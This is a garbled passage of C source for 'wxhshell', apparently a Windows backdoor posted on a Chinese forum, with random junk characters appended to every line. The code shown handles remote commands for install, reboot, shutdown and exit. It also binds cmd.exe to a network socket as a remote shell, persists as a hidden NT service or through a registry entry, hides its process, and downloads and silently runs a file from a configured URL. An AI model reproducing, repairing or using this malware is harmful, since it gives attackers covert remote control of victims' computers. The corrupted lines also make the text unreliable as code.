    switch(cmd[0]) {  Pm"nwm  
  RqKkB8g  
  // 帮助 }z F,dst  
  case '?': { GmH`ipi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~wQ M ?h  
    break; O$7cN\Z  
  } |pZ:5ta#  
  // 安装 meYGIP:n  
  case 'i': { TDX~?> P  
    if(Install()) &S39SV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =9;b|Y"aQ  
    else 0|6Y% a\U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .cz7jD  
    break; >c$3@$  
    } K+ |0~/0  
  // 卸载 j dkqJ4&i  
  case 'r': { AquO#A[,#  
    if(Uninstall()) u{cb[M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|kH0c,T-  
    else aF[#(PF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .I]EP-  
    break; \A6 }=  
    } kZ=2# .  
  // 显示 wxhshell 所在路径 sJMpF8   
  case 'p': { /!sGO:  
    char svExeFile[MAX_PATH]; R[l~E![!j  
    strcpy(svExeFile,"\n\r"); qIxe)+.  
      strcat(svExeFile,ExeFile); X o[GD`t  
        send(wsh,svExeFile,strlen(svExeFile),0); +LlAGg]Z  
    break; ]GDjR'[z  
    } c`/kx  
  // 重启 "jf_xZ$H-  
  case 'b': { "5v^6R9e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r::0\{{r"p  
    if(Boot(REBOOT)) e?N3&ezp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z4g<Ys*  
    else { xwj{4fzpk{  
    closesocket(wsh);  `)>}b 3  
    ExitThread(0); $h[Q }uW  
    } >-y}t9[/  
    break; Rq`5ff3,  
    } }@~+%_;  
  // 关机 ]TN/n%\  
  case 'd': { /4}y2JVv)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cUO$IR)yL  
    if(Boot(SHUTDOWN)) \}AJ)v*<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $wbIe"|  
    else { y,K> Wb9e  
    closesocket(wsh); gYloY=.Z$'  
    ExitThread(0); gX| \O']6  
    } >vXS6`;  
    break; [ ~kS)  
    } 6Ilj7m*  
  // 获取shell 4wWfaL5"  
  case 's': { u4'B  
    CmdShell(wsh); eIOMW9Ivt  
    closesocket(wsh); 2cwJ);Eg2  
    ExitThread(0); xIH= gK  
    break; ZiRCiQ/?  
  } k"6v& O  
  // 退出 0U !&|i\  
  case 'x': { cqT%6Si  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RY1-Zjlb<  
    CloseIt(wsh); |v<4=/.  
    break; _w2KUvG-8  
    } 1kD1$5  
  // 离开 pktnX-Slt  
  case 'q': { N36B*9m&p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 79I"F'  
    closesocket(wsh); NErvX/qK  
    WSACleanup(); +??pej]Rp  
    exit(1); ?O"zp65d(  
    break; ^gkKk&~A5?  
        } 7I*rtc&Kb  
  } o6:@j#b  
  } wr~Qy4 ny  
[Fv_~F491  
  // 提示信息 deJ/3\t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I:0dz:T7*  
} a-AA$U9hj  
  } *$3p3-  
V{ ~~8b1E  
  return; c7R&/JV  
} c=^69>w  
BU7QK_zT:  
// shell模块句柄 h)aLq  
int CmdShell(SOCKET sock) k=G c#SD5_  
{ nU0##  
STARTUPINFO si; @H^\PH?pp  
ZeroMemory(&si,sizeof(si)); x=X&b%09  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r?dkE=B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bR$5G  
PROCESS_INFORMATION ProcessInfo; J% ZM V  
char cmdline[]="cmd"; F5OQM?J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0_,un^  
  return 0; {bG.X?b  
} xk3)#*  
qQ1D}c@  
// 自身启动模式 R^]a<g,  
int StartFromService(void) P@x@5uC2  
{ v- p8~u1N  
typedef struct >FJK$>[1:p  
{ Y![8-L|Q  
  DWORD ExitStatus; n57mh5mixM  
  DWORD PebBaseAddress; ad9u;uS  
  DWORD AffinityMask; =LEzcq>XO  
  DWORD BasePriority; ;F"Tu  
  ULONG UniqueProcessId; Ga V OMT  
  ULONG InheritedFromUniqueProcessId; .y0u"@iF  
}   PROCESS_BASIC_INFORMATION; Yv2L0bUo:  
44KWS~  
PROCNTQSIP NtQueryInformationProcess; h 0)oQrY  
NRk^Z)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O;T)u4Q&3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %eGD1.R  
M'oQ<,yW-  
  HANDLE             hProcess; ca,c+5  
  PROCESS_BASIC_INFORMATION pbi; c{39,oF  
]7RK/Zu i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n A%8 bZ+  
  if(NULL == hInst ) return 0; XpA|<s  
5HTY ~&C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F=f9##Y?7M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )i\foSbB`V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ldc`Y/:{  
(a~V<v"  
  if (!NtQueryInformationProcess) return 0; Yp8XZ 3  
,mKUCG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gKgdu($NJ  
  if(!hProcess) return 0; R;uP^  
Q8]S6,pt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~q}]/0-m  
75A60Uw  
  CloseHandle(hProcess); pK'D(t  
Ye^xV,U@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q8h=2YL  
if(hProcess==NULL) return 0; 9WHarv2@  
]eX(K5 A  
HMODULE hMod; rP/W,! 7:K  
char procName[255]; &ha<pj~  
unsigned long cbNeeded; T(k:\z/  
L Z3=K`gj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >feeVk  
8^R~qpg%  
  CloseHandle(hProcess); `_"?$ v2F  
C\|HN=2eh  
if(strstr(procName,"services")) return 1; // 以服务启动 2d<`dQY{l3  
Xob(4  
  return 0; // 注册表启动 |>-0q~  
} L:jv%;DM  
5 RYrAzQo  
// 主模块 1-R4A7+3  
int StartWxhshell(LPSTR lpCmdLine) Bma.Uln  
{ "IWL& cH3  
  SOCKET wsl; w"A>mEex<  
BOOL val=TRUE; a`Q-5* \;z  
  int port=0; SL_JA  
  struct sockaddr_in door; Ppx4#j  
j tqU`|FSQ  
  if(wscfg.ws_autoins) Install(); 1J&hm[3[K  
~c\2'  
port=atoi(lpCmdLine); ;@n/g U  
qVd s 2  
if(port<=0) port=wscfg.ws_port; )Rj?\ZUR  
cO-^#di  
  WSADATA data; 0_t9;;y :  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aDE}'d1qo  
^HHT>K-m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8P2_/)|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P{,=a]x,mz  
  door.sin_family = AF_INET; W=,]#Z+M;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QR$m i1Vv\  
  door.sin_port = htons(port); ,{Z!T5 |  
R]o2_r7N"}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q-e3;$  
closesocket(wsl); CZ(fP86e  
return 1; =CaSd|   
} B;Co`o2  
AQc9@3T~Bi  
  if(listen(wsl,2) == INVALID_SOCKET) { :r&4/sN}<  
closesocket(wsl); V<d`.9*}  
return 1; 'jKCAU5/0;  
} |;YDRI  
  Wxhshell(wsl); +V#dJ[,8;.  
  WSACleanup(); d2g7 ,axi  
'/X m%S  
return 0; gNh4c{Al9  
F_V/&OV  
} }w)wW1&  
6O'Y@9#  
// 以NT服务方式启动 }jg,[jw_"X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >E>'9@Uh  
{ qi8~bQ{rH  
DWORD   status = 0;  f^[m~  
  DWORD   specificError = 0xfffffff; {65_k  
kB-<17  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m\K1Ex  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a%wa3N=v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /qd~|[Kx:  
  serviceStatus.dwWin32ExitCode     = 0; rP}0B/  
  serviceStatus.dwServiceSpecificExitCode = 0; `QT9W-0e^  
  serviceStatus.dwCheckPoint       = 0; ~e+pa|lO  
  serviceStatus.dwWaitHint       = 0; EsLtC5]  
VJtRL')  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <"LA70Hkk  
  if (hServiceStatusHandle==0) return; B> zQ[e@t  
kO,vHg$  
status = GetLastError(); <ol? 9tm  
  if (status!=NO_ERROR) +^%0/0e  
{ @$?*UI6y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F4g3l    
    serviceStatus.dwCheckPoint       = 0; ~JOC8dO  
    serviceStatus.dwWaitHint       = 0; 8`q"] BQN  
    serviceStatus.dwWin32ExitCode     = status; No]#RvEd3  
    serviceStatus.dwServiceSpecificExitCode = specificError; fc%C!^7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d ewN\  
    return; -nB. .q  
  } gq+#=!(2  
1xU)nXXb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W1O Y}2kj  
  serviceStatus.dwCheckPoint       = 0; et`rPK~m  
  serviceStatus.dwWaitHint       = 0; r#^uY:T%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gE6{R+sp  
} B)Dsen  
(KT+7j0^  
// 处理NT服务事件,比如:启动、停止 =5g|7grQ:`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tU>4?`)E  
{ =#vU$~a  
switch(fdwControl) N  gOc2I  
{ Vc "+|^  
case SERVICE_CONTROL_STOP: -4S4I  
  serviceStatus.dwWin32ExitCode = 0; z HvW@A'F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .H5^N\V|  
  serviceStatus.dwCheckPoint   = 0; 0Y*Ag ,S  
  serviceStatus.dwWaitHint     = 0; v0+$d\mP4<  
  { [<#`@Kr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YU1z\pK  
  } f7 zGz  
  return; 2O0</^Z%E  
case SERVICE_CONTROL_PAUSE: ?O/!pUAu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Fp@j/50  
  break; +< c(;Ucl?  
case SERVICE_CONTROL_CONTINUE: 7T=:dv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; g|)yM^Vqr6  
  break; ?;p45y~n%  
case SERVICE_CONTROL_INTERROGATE: Njs'v;-K  
  break; *0%G`Q  
}; nsi&r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X1%_a.=VF  
} eo4v[V&  
p 4lB#  
// 标准应用程序主函数 `AhTER  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AJt4I W@  
{ iKgH :[j  
E^V4O l<  
// 获取操作系统版本 NKRH>2,  
OsIsNt=GetOsVer(); < #7j~<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Br"K{g?  
0u ,nSvch  
  // 从命令行安装 hu-6V="^9  
  if(strpbrk(lpCmdLine,"iI")) Install(); h) W|~y@  
lf2(h4[1R  
  // 下载执行文件 h=ko_/<  
if(wscfg.ws_downexe) { ^1[u'DW4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 kAXE\T  
  WinExec(wscfg.ws_filenam,SW_HIDE); THnZbh4#)  
} P64< O 5l/  
(Bu-o((N@0  
if(!OsIsNt) { i8` 0-  
// 如果时win9x,隐藏进程并且设置为注册表启动 stlkt>9  
HideProc(); DX8pd5 U  
StartWxhshell(lpCmdLine); @%$<,$=  
} h,P#)^"  
else {8J+ Y}  
  if(StartFromService()) ,+E"s3NW  
  // 以服务方式启动 -2*Pm1\Z  
  StartServiceCtrlDispatcher(DispatchTable); qbQH1<yS<  
else ~*ll,<L:  
  // 普通方式启动 'E1m-kJz  
  StartWxhshell(lpCmdLine); a &tl@y1  
-l q,~`v  
return 0; {us"=JJVN  
}
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只看该作者 1 发表于: 2006-10-10
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